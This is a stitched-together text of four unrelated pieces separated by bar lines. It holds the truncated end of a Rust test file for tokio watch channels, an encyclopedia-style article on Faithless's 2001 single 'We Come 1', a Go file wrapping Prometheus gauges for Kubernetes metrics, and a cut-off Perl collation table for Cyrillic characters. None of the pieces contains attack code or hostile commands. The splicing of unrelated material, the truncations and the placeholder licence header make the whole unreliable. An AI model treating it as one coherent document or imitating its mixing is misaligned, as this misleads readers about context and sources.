assert_ready!(spawn(rx.changed()).poll()).unwrap();
assert_pending!(spawn(rx.changed()).poll());
assert!(!rx.has_changed().unwrap());
tx.send("three").unwrap();
assert!(rx.has_changed().unwrap());
assert_eq!(*rx.borrow_and_update(), "three");
assert_pending!(spawn(rx.changed()).poll());
assert!(!rx.has_changed().unwrap());
drop(tx);
assert_eq!(*rx.borrow_and_update(), "three");
assert_ready!(spawn(rx.changed()).poll()).unwrap_err();
assert!(rx.has_changed().is_err());
}
#[test]
fn reopened_after_subscribe() {
let (tx, rx) = watch::channel("one");
assert!(!tx.is_closed());
drop(rx);
assert!(tx.is_closed());
let rx = tx.subscribe();
assert!(!tx.is_closed());
drop(rx);
assert!(tx.is_closed());
}
#[test]
#[cfg(panic = "unwind")]
#[cfg(not(target_family = "wasm"))] // wasm currently doesn't support unwinding
fn send_modify_panic() {
let (tx, mut rx) = watch::channel("one");
tx.send_modify(|old| *old = "two");
assert_eq!(*rx.borrow_and_update(), "two");
let mut rx2 = rx.clone();
assert_eq!(*rx2.borrow_and_update(), "two");
let mut task = spawn(rx2.changed());
let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
tx.send_modify(|old| {
*old = "panicked";
panic!();
})
}));
assert!(result.is_err());
assert_pending!(task.poll());
assert_eq!(*rx.borrow(), "panicked");
tx.send_modify(|old| *old = "three");
assert_ready_ok!(task.poll());
assert_eq!(*rx.borrow_and_update(), "three");
}
#[tokio::test]
async fn multiple_sender() {
let (tx1, mut rx) = watch::channel(0);
let tx2 = tx1.clone();
let mut t = spawn(async {
rx.changed().await.unwrap();
let v1 = *rx.borrow_and_update();
rx.changed().await.unwrap();
let v2 = *rx.borrow_and_update();
(v1, v2)
});
tx1.send(1).unwrap();
assert_pending!(t.poll());
tx2.send(2).unwrap();
assert_ready_eq!(t.poll(), (1, 2));
}
#[tokio::test]
async fn receiver_is_notified_when_last_sender_is_dropped() {
let (tx1, mut rx) = watch::channel(0);
let tx2 = tx1.clone();
let mut t = spawn(rx.changed());
assert_pending!(t.poll());
drop(tx1);
assert!(!t.is_woken());
drop(tx2);
assert!(t.is_woken());
}
```
|
"We Come 1" is a song by British electronic band Faithless from their third studio album, Outrospective (2001). The song was issued as the album's lead single on 4 June 2001, two weeks before Outrospective was released. The remixes by Wookie and Dave Clarke that appear on the single releases are included on the bonus disc of the album Reperspective: The Remixes.
"We Come 1" reached number three in the United Kingdom, making it the joint-highest-charting Faithless song on the UK Singles Chart along with the 1996 re-release of "Insomnia". The single also reached the top three in Denmark, Greece, Hungary, the Netherlands, Norway, and Romania. A music video directed by Dom and Nic was created for the track. The song re-charted at number 70 on the UK Singles Downloads Chart after the death of Maxi Jazz in December 2022.
Composition
The lyrics of "We Come 1", sung by Maxi Jazz, possess a theme of unity. In the song, the narrator sings to someone upon which he is dependent, but this dependency is not based on external factors. Instead, this person provides internal inspiration, including the narrator's purpose in life. Whenever the two individuals are together, they are able to cooperate to stand for or against an ambiguous concept that the song does not identify. The relationship between the two people is also left vague, but the narrator's message insists that whenever they team up, they are one complete entity, and the narrator believes that his other half is what he stands for.
Primarily, "We Come 1" advocates all people to consolidate. During live performances of the song, Maxi Jazz often urges the audience to take care of their brethren, stating, "We're all we got." Sister Bliss said in an interview with Bulgaria's MMTV that "We Come 1" is a humane track that illustrates the relationships between everything on the planet. As a result, Sister Bliss stated that protecting these relationships is what keeps concepts such as nature and the environment viable, saying, "We must come one otherwise our future is in peril."
Critical reception
Miriam Hubner of Music & Media called "We Come 1" a "fervent love song" and called its production "smooth". Andy Hermann of online magazine PopMatters wrote that the song is an "obvious attempt to follow up the international club success of 'God Is a DJ'", praising its riff and production but noting that it "hardly rocks your world". Reviewing the album on AllMusic, Dean Carlson labelled the track a "sagging comeback single", comparing it to a mundane version of the Underworld song "Oich Oich" (1996).
Track listings
UK CD1
"We Come 1" (radio edit) – 3:44
"We Come 1" (Rollo & Sister Bliss remix) – 8:06
"We Come 1" (Dave Clarke remix) – 5:22
UK CD2
"We Come 1" (radio edit) – 3:46
"We Come 1" (Wookie remix) – 5:53
"We Come 1" (Rocket vs Jeno remix) – 7:55
European CD single
"We Come 1" (radio edit) – 3:43
"We Come 1" (Rollo & Sister Bliss remix) – 8:32
UK 12-inch single
"We Come 1" (Rollo & Sister Bliss remix) – 8:32
"We Come 1" (Eliot J remix) – 6:52
European maxi-CD single and Australian CD single
"We Come 1" (radio mix) – 3:43
"We Come 1" (Rollo & Sister Bliss mix) – 8:32
"We Come 1" (Dave Clarke mix) – 6:04
"We Come 1" (Wookie remix) – 5:50
"We Come 1" (Rocket vs Jeno remix) – 7:55
Credits and personnel
Credits are adapted from the UK CD1 liner notes and the Outrospective booklet.
Studios
Recorded at Swanyard Studios (London, England)
Mixed at the Ark
Mastered at the Exchange (London, England)
Personnel
Maxi Jazz – writing, rap writing and performance
Sister Bliss – writing, keyboards, production
Rollo – writing, production, programming
Andy Treacey – live drums
Grippa – engineering, sonic enhancement
Peanut – engineering and sonic enhancement assistant
Guy Davie – mastering
Simon Corkin – artwork design
Ellis Parrinder – photography
Charts
Weekly charts
Year-end charts
Certifications
Release history
References
External links
FaithlessWeb.com
Faithless / Rollo / Sister Bliss & related artists - Unofficial Discography
2001 singles
2001 songs
Bertelsmann Music Group singles
Cheeky Records singles
Faithless songs
Songs written by Maxi Jazz
Songs written by Rollo Armstrong
Songs written by Sister Bliss
|
```go
/*
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package metrics
import (
"context"
"github.com/blang/semver/v4"
"github.com/prometheus/client_golang/prometheus"
"k8s.io/component-base/version"
)
// Gauge is our internal representation for our wrapping struct around prometheus
// gauges. kubeGauge implements both kubeCollector and KubeGauge.
type Gauge struct {
GaugeMetric
*GaugeOpts
lazyMetric
selfCollector
}
var _ GaugeMetric = &Gauge{}
var _ Registerable = &Gauge{}
var _ kubeCollector = &Gauge{}
// NewGauge returns an object which satisfies the kubeCollector, Registerable, and Gauge interfaces.
// However, the object returned will not measure anything unless the collector is first
// registered, since the metric is lazily instantiated.
func NewGauge(opts *GaugeOpts) *Gauge {
opts.StabilityLevel.setDefaults()
kc := &Gauge{
GaugeOpts: opts,
lazyMetric: lazyMetric{stabilityLevel: opts.StabilityLevel},
}
kc.setPrometheusGauge(noop)
kc.lazyInit(kc, BuildFQName(opts.Namespace, opts.Subsystem, opts.Name))
return kc
}
// setPrometheusGauge sets the underlying KubeGauge object, i.e. the thing that does the measurement.
func (g *Gauge) setPrometheusGauge(gauge prometheus.Gauge) {
g.GaugeMetric = gauge
g.initSelfCollection(gauge)
}
// DeprecatedVersion returns a pointer to the Version or nil
func (g *Gauge) DeprecatedVersion() *semver.Version {
return parseSemver(g.GaugeOpts.DeprecatedVersion)
}
// initializeMetric invocation creates the actual underlying Gauge. Until this method is called
// the underlying gauge is a no-op.
func (g *Gauge) initializeMetric() {
g.GaugeOpts.annotateStabilityLevel()
// this actually creates the underlying prometheus gauge.
g.setPrometheusGauge(prometheus.NewGauge(g.GaugeOpts.toPromGaugeOpts()))
}
// initializeDeprecatedMetric invocation creates the actual (but deprecated) Gauge. Until this method
// is called the underlying gauge is a no-op.
func (g *Gauge) initializeDeprecatedMetric() {
g.GaugeOpts.markDeprecated()
g.initializeMetric()
}
// WithContext allows the normal Gauge metric to pass in context. The context is no-op now.
func (g *Gauge) WithContext(ctx context.Context) GaugeMetric {
return g.GaugeMetric
}
// GaugeVec is the internal representation of our wrapping struct around prometheus
// gaugeVecs. kubeGaugeVec implements both kubeCollector and KubeGaugeVec.
type GaugeVec struct {
*prometheus.GaugeVec
*GaugeOpts
lazyMetric
originalLabels []string
}
var _ GaugeVecMetric = &GaugeVec{}
var _ Registerable = &GaugeVec{}
var _ kubeCollector = &GaugeVec{}
// NewGaugeVec returns an object which satisfies the kubeCollector, Registerable, and GaugeVecMetric interfaces.
// However, the object returned will not measure anything unless the collector is first
// registered, since the metric is lazily instantiated, and only members extracted after
// registration will actually measure anything.
func NewGaugeVec(opts *GaugeOpts, labels []string) *GaugeVec {
opts.StabilityLevel.setDefaults()
fqName := BuildFQName(opts.Namespace, opts.Subsystem, opts.Name)
allowListLock.RLock()
if allowList, ok := labelValueAllowLists[fqName]; ok {
opts.LabelValueAllowLists = allowList
}
allowListLock.RUnlock()
cv := &GaugeVec{
GaugeVec: noopGaugeVec,
GaugeOpts: opts,
originalLabels: labels,
lazyMetric: lazyMetric{stabilityLevel: opts.StabilityLevel},
}
cv.lazyInit(cv, fqName)
return cv
}
// DeprecatedVersion returns a pointer to the Version or nil
func (v *GaugeVec) DeprecatedVersion() *semver.Version {
return parseSemver(v.GaugeOpts.DeprecatedVersion)
}
// initializeMetric invocation creates the actual underlying GaugeVec. Until this method is called
// the underlying gaugeVec is a no-op.
func (v *GaugeVec) initializeMetric() {
v.GaugeOpts.annotateStabilityLevel()
v.GaugeVec = prometheus.NewGaugeVec(v.GaugeOpts.toPromGaugeOpts(), v.originalLabels)
}
// initializeDeprecatedMetric invocation creates the actual (but deprecated) GaugeVec. Until this method is called
// the underlying gaugeVec is a no-op.
func (v *GaugeVec) initializeDeprecatedMetric() {
v.GaugeOpts.markDeprecated()
v.initializeMetric()
}
func (v *GaugeVec) WithLabelValuesChecked(lvs ...string) (GaugeMetric, error) {
if !v.IsCreated() {
if v.IsHidden() {
return noop, nil
}
return noop, errNotRegistered // return no-op gauge
}
if v.LabelValueAllowLists != nil {
v.LabelValueAllowLists.ConstrainToAllowedList(v.originalLabels, lvs)
}
elt, err := v.GaugeVec.GetMetricWithLabelValues(lvs...)
return elt, err
}
// Default Prometheus Vec behavior is that member extraction results in creation of a new element
// if one with the unique label values is not found in the underlying stored metricMap.
// This means that if this function is called but the underlying metric is not registered
// (which means it will never be exposed externally nor consumed), the metric will exist in memory
// for perpetuity (i.e. throughout application lifecycle).
//
// For reference: path_to_url#L190-L208
//
// In contrast, the Vec behavior in this package is that member extraction before registration
// returns a permanent noop object.
// WithLabelValues returns the GaugeMetric for the given slice of label
// values (same order as the VariableLabels in Desc). If that combination of
// label values is accessed for the first time, a new GaugeMetric is created IFF the gaugeVec
// has been registered to a metrics registry.
func (v *GaugeVec) WithLabelValues(lvs ...string) GaugeMetric {
ans, err := v.WithLabelValuesChecked(lvs...)
if err == nil || ErrIsNotRegistered(err) {
return ans
}
panic(err)
}
func (v *GaugeVec) WithChecked(labels map[string]string) (GaugeMetric, error) {
if !v.IsCreated() {
if v.IsHidden() {
return noop, nil
}
return noop, errNotRegistered // return no-op gauge
}
if v.LabelValueAllowLists != nil {
v.LabelValueAllowLists.ConstrainLabelMap(labels)
}
elt, err := v.GaugeVec.GetMetricWith(labels)
return elt, err
}
// With returns the GaugeMetric for the given Labels map (the label names
// must match those of the VariableLabels in Desc). If that label map is
// accessed for the first time, a new GaugeMetric is created IFF the gaugeVec has
// been registered to a metrics registry.
func (v *GaugeVec) With(labels map[string]string) GaugeMetric {
ans, err := v.WithChecked(labels)
if err == nil || ErrIsNotRegistered(err) {
return ans
}
panic(err)
}
// Delete deletes the metric where the variable labels are the same as those
// passed in as labels. It returns true if a metric was deleted.
//
// It is not an error if the number and names of the Labels are inconsistent
// with those of the VariableLabels in Desc. However, such inconsistent Labels
// can never match an actual metric, so the method will always return false in
// that case.
func (v *GaugeVec) Delete(labels map[string]string) bool {
if !v.IsCreated() {
return false // since we haven't created the metric, we haven't deleted a metric with the passed in values
}
return v.GaugeVec.Delete(labels)
}
// Reset deletes all metrics in this vector.
func (v *GaugeVec) Reset() {
if !v.IsCreated() {
return
}
v.GaugeVec.Reset()
}
func newGaugeFunc(opts *GaugeOpts, function func() float64, v semver.Version) GaugeFunc {
g := NewGauge(opts)
if !g.Create(&v) {
return nil
}
return prometheus.NewGaugeFunc(g.GaugeOpts.toPromGaugeOpts(), function)
}
// NewGaugeFunc creates a new GaugeFunc based on the provided GaugeOpts. The
// value reported is determined by calling the given function from within the
// Write method. Take into account that metric collection may happen
// concurrently. If that results in concurrent calls to Write, like in the case
// where a GaugeFunc is directly registered with Prometheus, the provided
// function must be concurrency-safe.
func NewGaugeFunc(opts *GaugeOpts, function func() float64) GaugeFunc {
v := parseVersion(version.Get())
return newGaugeFunc(opts, function, v)
}
// WithContext returns wrapped GaugeVec with context
func (v *GaugeVec) WithContext(ctx context.Context) *GaugeVecWithContext {
return &GaugeVecWithContext{
ctx: ctx,
GaugeVec: v,
}
}
func (v *GaugeVec) InterfaceWithContext(ctx context.Context) GaugeVecMetric {
return v.WithContext(ctx)
}
// GaugeVecWithContext is the wrapper of GaugeVec with context.
type GaugeVecWithContext struct {
*GaugeVec
ctx context.Context
}
// WithLabelValues is the wrapper of GaugeVec.WithLabelValues.
func (vc *GaugeVecWithContext) WithLabelValues(lvs ...string) GaugeMetric {
return vc.GaugeVec.WithLabelValues(lvs...)
}
// With is the wrapper of GaugeVec.With.
func (vc *GaugeVecWithContext) With(labels map[string]string) GaugeMetric {
return vc.GaugeVec.With(labels)
}
```
|
```prolog
+{
locale_version => 1.31,
upper_before_lower => 1,
backwards => 2,
suppress => [0x0418, 0x0438],
entry => <<'ENTRY', # for DUCET v13.0.0
0487 ; [.0000.0000.0000] # COMBINING CYRILLIC POKRYTIE
A67C ; [.0000.0000.0000] # COMBINING CYRILLIC KAVYKA
A67E ; [.0000.0000.0000] # CYRILLIC KAVYKA
0485 ; [.0000.0021.0000][.0000.00A1.0002][.0000.0021.0000] # COMBINING CYRILLIC DASIA PNEUMATA
0486 ; [.0000.0021.0000][.0000.00A2.0002][.0000.0021.0000] # COMBINING CYRILLIC PSILI PNEUMATA
0301 ; [.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # COMBINING ACUTE ACCENT
00E1 ; [.1FA2.0020.0002][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN SMALL LETTER A WITH ACUTE
00C1 ; [.1FA2.0020.0008][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN CAPITAL LETTER A WITH ACUTE
00E9 ; [.2007.0020.0002][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN SMALL LETTER E WITH ACUTE
00C9 ; [.2007.0020.0008][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN CAPITAL LETTER E WITH ACUTE
00ED ; [.2090.0020.0002][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN SMALL LETTER I WITH ACUTE
00CD ; [.2090.0020.0008][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN CAPITAL LETTER I WITH ACUTE
00F3 ; [.213C.0020.0002][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN SMALL LETTER O WITH ACUTE
00D3 ; [.213C.0020.0008][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN CAPITAL LETTER O WITH ACUTE
00FA ; [.2217.0020.0002][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN SMALL LETTER U WITH ACUTE
00DA ; [.2217.0020.0008][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN CAPITAL LETTER U WITH ACUTE
00FD ; [.2270.0020.0002][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN SMALL LETTER Y WITH ACUTE
00DD ; [.2270.0020.0008][.0000.0021.0000][.0000.00A3.0002][.0000.0021.0000] # LATIN CAPITAL LETTER Y WITH ACUTE
0300 ; [.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # COMBINING GRAVE ACCENT
00E0 ; [.1FA2.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN SMALL LETTER A WITH GRAVE
00C0 ; [.1FA2.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN CAPITAL LETTER A WITH GRAVE
00E8 ; [.2007.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN SMALL LETTER E WITH GRAVE
00C8 ; [.2007.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN CAPITAL LETTER E WITH GRAVE
00EC ; [.2090.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN SMALL LETTER I WITH GRAVE
00CC ; [.2090.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN CAPITAL LETTER I WITH GRAVE
00F2 ; [.213C.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN SMALL LETTER O WITH GRAVE
00D2 ; [.213C.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN CAPITAL LETTER O WITH GRAVE
00F9 ; [.2217.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN SMALL LETTER U WITH GRAVE
00D9 ; [.2217.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN CAPITAL LETTER U WITH GRAVE
1EF3 ; [.2270.0020.0002][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN SMALL LETTER Y WITH GRAVE
1EF2 ; [.2270.0020.0008][.0000.0021.0000][.0000.00A4.0002][.0000.0021.0000] # LATIN CAPITAL LETTER Y WITH GRAVE
0311 ; [.0000.0021.0000][.0000.00A5.0002][.0000.0021.0000] # COMBINING INVERTED BREVE
0483 ; [.0000.0021.0000][.0000.00A6.0002][.0000.0021.0000] # COMBINING CYRILLIC TITLO
0306 ; [.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # COMBINING BREVE
0308 ; [.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # COMBINING DIAERESIS
00E4 ; [.1FA2.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN SMALL LETTER A WITH DIAERESIS
00C4 ; [.1FA2.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN CAPITAL LETTER A WITH DIAERESIS
00EB ; [.2007.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN SMALL LETTER E WITH DIAERESIS
00CB ; [.2007.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN CAPITAL LETTER E WITH DIAERESIS
00EF ; [.2090.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN SMALL LETTER I WITH DIAERESIS
00CF ; [.2090.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN CAPITAL LETTER I WITH DIAERESIS
00F6 ; [.213C.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN SMALL LETTER O WITH DIAERESIS
00D6 ; [.213C.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN CAPITAL LETTER O WITH DIAERESIS
00FC ; [.2217.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN SMALL LETTER U WITH DIAERESIS
00DC ; [.2217.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN CAPITAL LETTER U WITH DIAERESIS
00FF ; [.2270.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN SMALL LETTER Y WITH DIAERESIS
0178 ; [.2270.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # LATIN CAPITAL LETTER Y WITH DIAERESIS
030F ; [.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # COMBINING DOUBLE GRAVE ACCENT
2DF6 ; [.0000.0021.0000][.0000.00A9.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER A
2DE0 ; [.0000.0021.0000][.0000.00AA.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER BE
2DE1 ; [.0000.0021.0000][.0000.00AB.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER VE
2DE2 ; [.0000.0021.0000][.0000.00AC.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER GHE
2DE3 ; [.0000.0021.0000][.0000.00AD.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER DE
2DF7 ; [.0000.0021.0000][.0000.00AE.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER IE
A674 ; [.0000.0021.0000][.0000.00AF.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER UKRAINIAN IE
2DE4 ; [.0000.0021.0000][.0000.00B0.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER ZHE
2DE5 ; [.0000.0021.0000][.0000.00B1.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER ZE
A675 ; [.0000.0021.0000][.0000.00B2.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER I
A676 ; [.0000.0021.0000][.0000.00B3.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER YI
2DE6 ; [.0000.0021.0000][.0000.00B4.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER KA
2DE7 ; [.0000.0021.0000][.0000.00B5.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER EL
2DE8 ; [.0000.0021.0000][.0000.00B6.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER EM
2DE9 ; [.0000.0021.0000][.0000.00B7.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER EN
2DEA ; [.0000.0021.0000][.0000.00B8.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER O
A67B ; [.0000.0021.0000][.0000.00B9.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER OMEGA
2DEB ; [.0000.0021.0000][.0000.00BA.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER PE
2DEC ; [.0000.0021.0000][.0000.00BB.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER ER
2DED ; [.0000.0021.0000][.0000.00BC.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER ES
2DEE ; [.0000.0021.0000][.0000.00BD.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER TE
2DF9 ; [.0000.0021.0000][.0000.00BE.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER MONOGRAPH UK
A677 ; [.0000.0021.0000][.0000.00BF.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER U
A69E ; [.0000.0021.0000][.0000.00C0.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER EF
2DEF ; [.0000.0021.0000][.0000.00C1.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER HA
2DF0 ; [.0000.0021.0000][.0000.00C2.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER TSE
2DF1 ; [.0000.0021.0000][.0000.00C3.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER CHE
2DF2 ; [.0000.0021.0000][.0000.00C4.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER SHA
2DF3 ; [.0000.0021.0000][.0000.00C5.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER SHCHA
033E ; [.0000.0021.0000][.0000.00C6.0002][.0000.0021.0000] # COMBINING VERTICAL TILDE
A678 ; [.0000.0021.0000][.0000.00C6.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER HARD SIGN
2E2F ; [.0000.0021.0000][.0000.00C6.0002][.0000.0021.0000] # VERTICAL TILDE
A679 ; [.0000.0021.0000][.0000.00C7.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER YERU
A67F ; [.0000.0021.0000][.0000.00C8.0002][.0000.0021.0000] # CYRILLIC PAYEROK
A67D ; [.0000.0021.0000][.0000.00C8.0002][.0000.0021.0000] # COMBINING CYRILLIC PAYEROK
A67A ; [.0000.0021.0000][.0000.00C8.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER SOFT SIGN
2DFA ; [.0000.0021.0000][.0000.00C9.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER YAT
2DFB ; [.0000.0021.0000][.0000.00CA.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER YU
2DFE ; [.0000.0021.0000][.0000.00CB.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER BIG YUS
2DFC ; [.0000.0021.0000][.0000.00CC.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER IOTIFIED A
2DFD ; [.0000.0021.0000][.0000.00CD.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER LITTLE YUS
2DF4 ; [.0000.0021.0000][.0000.00CE.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER FITA
0332 ; [.0000.0021.0000][.0000.00CF.0002][.0000.0021.0000] # COMBINING LOW LINE
2DF5 ; [.0000.0021.0000][.0000.00BC.0002][.0000.0021.0000][.0000.0021.0000][.0000.00BD.0002][.0000.0021.0000] # COMBINING CYRILLIC LETTER ES-TE
1C81 ; [.23AF.0020.0002] # CYRILLIC SMALL LETTER LONG-LEGGED DE
0454 ; [.23BF.0020.001C] # CYRILLIC SMALL LETTER UKRAINIAN IE
0404 ; [.23BF.0020.001D] # CYRILLIC CAPITAL LETTER UKRAINIAN IE
0437 ; [.23DA.0020.0002] # CYRILLIC SMALL LETTER ZE
0417 ; [.23DA.0020.0008] # CYRILLIC CAPITAL LETTER ZE
A641 ; [.23DA.0020.0002] # CYRILLIC SMALL LETTER ZEMLYA
A640 ; [.23DA.0020.0008] # CYRILLIC CAPITAL LETTER ZEMLYA
0456 ; [.23E6.0020.0002] # CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I
0406 ; [.23E6.0020.0008] # CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
0457 ; [.23E6.0020.0002][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER YI
0407 ; [.23E6.0020.0008][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER YI
050B ; [.2448.0020.0002] # CYRILLIC SMALL LETTER KOMI NJE
050A ; [.2448.0020.0008] # CYRILLIC CAPITAL LETTER KOMI NJE
047B ; [.2449.0020.0002] # CYRILLIC SMALL LETTER ROUND OMEGA
047A ; [.2449.0020.0008] # CYRILLIC CAPITAL LETTER ROUND OMEGA
043E ; [.2449.0020.0020][.0000.0000.001C] # CYRILLIC SMALL LETTER O
1C82 ; [.2449.0020.0020][.0000.0000.001C] # CYRILLIC SMALL LETTER NARROW O
041E ; [.2449.0020.0020][.0000.0000.001D] # CYRILLIC CAPITAL LETTER O
04E7 ; [.2449.0020.0020][.0000.0000.001C][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER O WITH DIAERESIS
04E6 ; [.2449.0020.0020][.0000.0000.001D][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER O WITH DIAERESIS
0461 ; [.2449.0020.0021][.0000.0000.001C] # CYRILLIC SMALL LETTER OMEGA
0460 ; [.2449.0020.0021][.0000.0000.001D] # CYRILLIC CAPITAL LETTER OMEGA
A64D ; [.2449.0020.0022][.0000.0000.001C] # CYRILLIC SMALL LETTER BROAD OMEGA
A64C ; [.2449.0020.0022][.0000.0000.001D] # CYRILLIC CAPITAL LETTER BROAD OMEGA
047C ; [.2449.0020.0022][.0000.0000.001D][.0000.0021.0000][.0000.00A2.0002][.0000.0021.0000][.0000.0021.0000][.0000.00A5.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER OMEGA WITH TITLO
047D ; [.2449.0020.0022][.0000.0000.001C][.0000.0021.0000][.0000.00A2.0002][.0000.0021.0000][.0000.0021.0000][.0000.00A5.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER OMEGA WITH TITLO
047E ; [.2449.0020.0021][.0000.0000.001D][.2473.0020.0002] # CYRILLIC CAPITAL LETTER OT
047F ; [.2449.0020.0021][.0000.0000.001C][.2473.0020.0002] # CYRILLIC SMALL LETTER OT
0479 ; [.247F.0020.0002] # CYRILLIC SMALL LETTER UK
0478 ; [.247F.0020.0008] # CYRILLIC CAPITAL LETTER UK
043E 0443 ; [.247F.0020.0002] # <CYRILLIC SMALL LETTER O, CYRILLIC SMALL LETTER U>
1C82 0443 ; [.247F.0020.0002] # <CYRILLIC SMALL LETTER NARROW O, CYRILLIC SMALL LETTER U>
041E 0443 ; [.247F.0020.0008] # <CYRILLIC CAPITAL LETTER O, CYRILLIC SMALL LETTER U>
041E 0423 ; [.247F.0020.0008] # <CYRILLIC CAPITAL LETTER O, CYRILLIC CAPITAL LETTER U>
A64B ; [.247F.0020.0020][.0000.0000.001C] # CYRILLIC SMALL LETTER MONOGRAPH UK
A64A ; [.247F.0020.0020][.0000.0000.001D] # CYRILLIC CAPITAL LETTER MONOGRAPH UK
0443 ; [.247F.0020.0021][.0000.0000.001C] # CYRILLIC SMALL LETTER U
0423 ; [.247F.0020.0021][.0000.0000.001D] # CYRILLIC CAPITAL LETTER U
045E ; [.247F.0020.0021][.0000.0000.001C][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER SHORT U
040E ; [.247F.0020.0021][.0000.0000.001D][.0000.0021.0000][.0000.00A7.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER SHORT U
04F1 ; [.247F.0020.0021][.0000.0000.001C][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC SMALL LETTER U WITH DIAERESIS
04F0 ; [.247F.0020.0021][.0000.0000.001D][.0000.0021.0000][.0000.00A8.0002][.0000.0021.0000] # CYRILLIC CAPITAL LETTER U WITH DIAERESIS
04F3 ; [.247F.0020.0021][.0000.0000.001C][.0000.002C.0002] # CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
